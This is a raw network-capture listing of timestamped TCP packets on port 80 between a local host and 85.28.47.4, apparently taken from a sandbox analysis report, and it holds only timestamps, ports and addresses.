Jun 26, 2024 08:16:24.150607109 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.150615931 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.150650024 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.150665045 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.150739908 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.150748014 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.150763988 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.150772095 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.150779963 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.150794983 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.150803089 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.150810957 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.150831938 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.150850058 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.150850058 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.150854111 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.150861979 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.150878906 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.150887012 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.150926113 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.150926113 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.150950909 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.150964022 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.150979042 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.150988102 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.150995970 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.151022911 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.151103973 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.151112080 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.151128054 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.151134014 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.151137114 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.151154041 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.151161909 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.151170015 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.151176929 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.151192904 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.151215076 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.151216030 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.151226044 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.151233912 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.151242018 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.151243925 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.151248932 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.151266098 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.151297092 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.151297092 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.151325941 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.151422977 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.151432991 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.151448011 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.151456118 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.151463032 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.151479006 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.151487112 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.151494026 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.151495934 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.151501894 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.151511908 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.151518106 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.151525974 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.151534081 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.151549101 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.151554108 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.151556969 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.151566029 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.151570082 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.151608944 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.151608944 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.151782036 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.151791096 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.151806116 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.151813030 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.151829958 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.151838064 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.151854038 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.151854038 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.151865005 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.151869059 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.151874065 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.151882887 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.151899099 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.151923895 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.151930094 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.151930094 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.151931047 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.151948929 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.151957035 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.151963949 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.151979923 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.151993990 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.152003050 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.152017117 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.152025938 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.152034044 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.152040958 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.152046919 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.152046919 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.152049065 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.152090073 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.152117968 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.153609037 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.153616905 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.153641939 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.153650045 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.153665066 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.153672934 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.153681040 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.153683901 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.153687000 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.153695107 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.153713942 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.153721094 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.153728008 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.153736115 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.153738022 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.153738022 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.153743982 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.153759956 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.153768063 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.153769970 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.153776884 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.153785944 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.153793097 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.153795004 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.153805017 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.153812885 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.153820992 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.153841972 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.153841972 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.153875113 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.237780094 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.237809896 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.237818003 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.237854004 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.237860918 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.237860918 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.237873077 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.237886906 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.237952948 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.237962961 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.237968922 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.238004923 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238013029 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238019943 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.238022089 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238034010 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238064051 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.238065958 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238075018 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238082886 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238090992 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238096952 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.238100052 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238148928 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.238190889 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238199949 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238208055 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238214970 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238230944 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238236904 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238251925 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.238251925 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.238317013 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.238348961 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238357067 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238364935 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238372087 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238379955 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238388062 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238394976 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238403082 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238410950 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238416910 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238431931 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.238431931 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.238462925 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.238471985 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238481998 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238497972 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238506079 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238519907 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238543034 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.238573074 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.238576889 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238586903 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238595009 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238601923 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238609076 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238616943 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238640070 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.238640070 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.238671064 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.238734007 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238743067 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238758087 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238766909 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238780975 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238789082 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238795996 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.238807917 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238816977 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238825083 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238832951 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238841057 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238848925 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.238867044 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.238867044 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.238888025 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.238931894 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.239132881 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239140987 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239165068 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239171982 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239187002 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239195108 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239202976 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239202976 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.239211082 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239218950 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239234924 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239243031 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239255905 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239265919 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239268064 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.239268064 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.239274025 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239284992 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239291906 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.239316940 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.239326000 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239334106 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239341974 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239348888 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239361048 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.239367008 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239377022 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239382029 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.239386082 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239394903 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239408970 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239408970 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.239454985 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.239454985 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.239533901 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239542961 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239552021 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239559889 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239593983 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.239634037 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.239685059 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239702940 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239718914 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239727020 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239733934 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239742041 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239749908 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239764929 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239773035 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239779949 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239788055 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239794970 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239806890 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239819050 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.239819050 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.239819050 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.239855051 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.239886999 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.239928961 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239936113 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239943981 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239952087 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239959002 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239967108 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239974022 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239983082 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239989996 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.239996910 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.240000963 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.240020990 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.240041971 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.240041971 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.240051031 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.240058899 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.240115881 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.240134001 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.240143061 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.240150928 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.240164995 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.240191936 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.240256071 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.325459003 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.325537920 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.325546980 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.325546026 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.325571060 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.325592041 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.325599909 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.325617075 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.325623035 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.325623035 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.325624943 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.325659037 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.325665951 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.325668097 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.325680971 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.325689077 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.325695992 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.325711012 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.325711012 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.325812101 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.325814962 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.325824022 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.325839996 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.325848103 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.325856924 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.325891018 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.325920105 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.325927019 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.325936079 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.325944901 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.325953007 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.325979948 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.325988054 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.325997114 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.326004982 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.326005936 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.326014996 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.326028109 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.326062918 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.326062918 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.326076031 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.326083899 CEST	80	49713	85.28.47.4	192.168.2.6
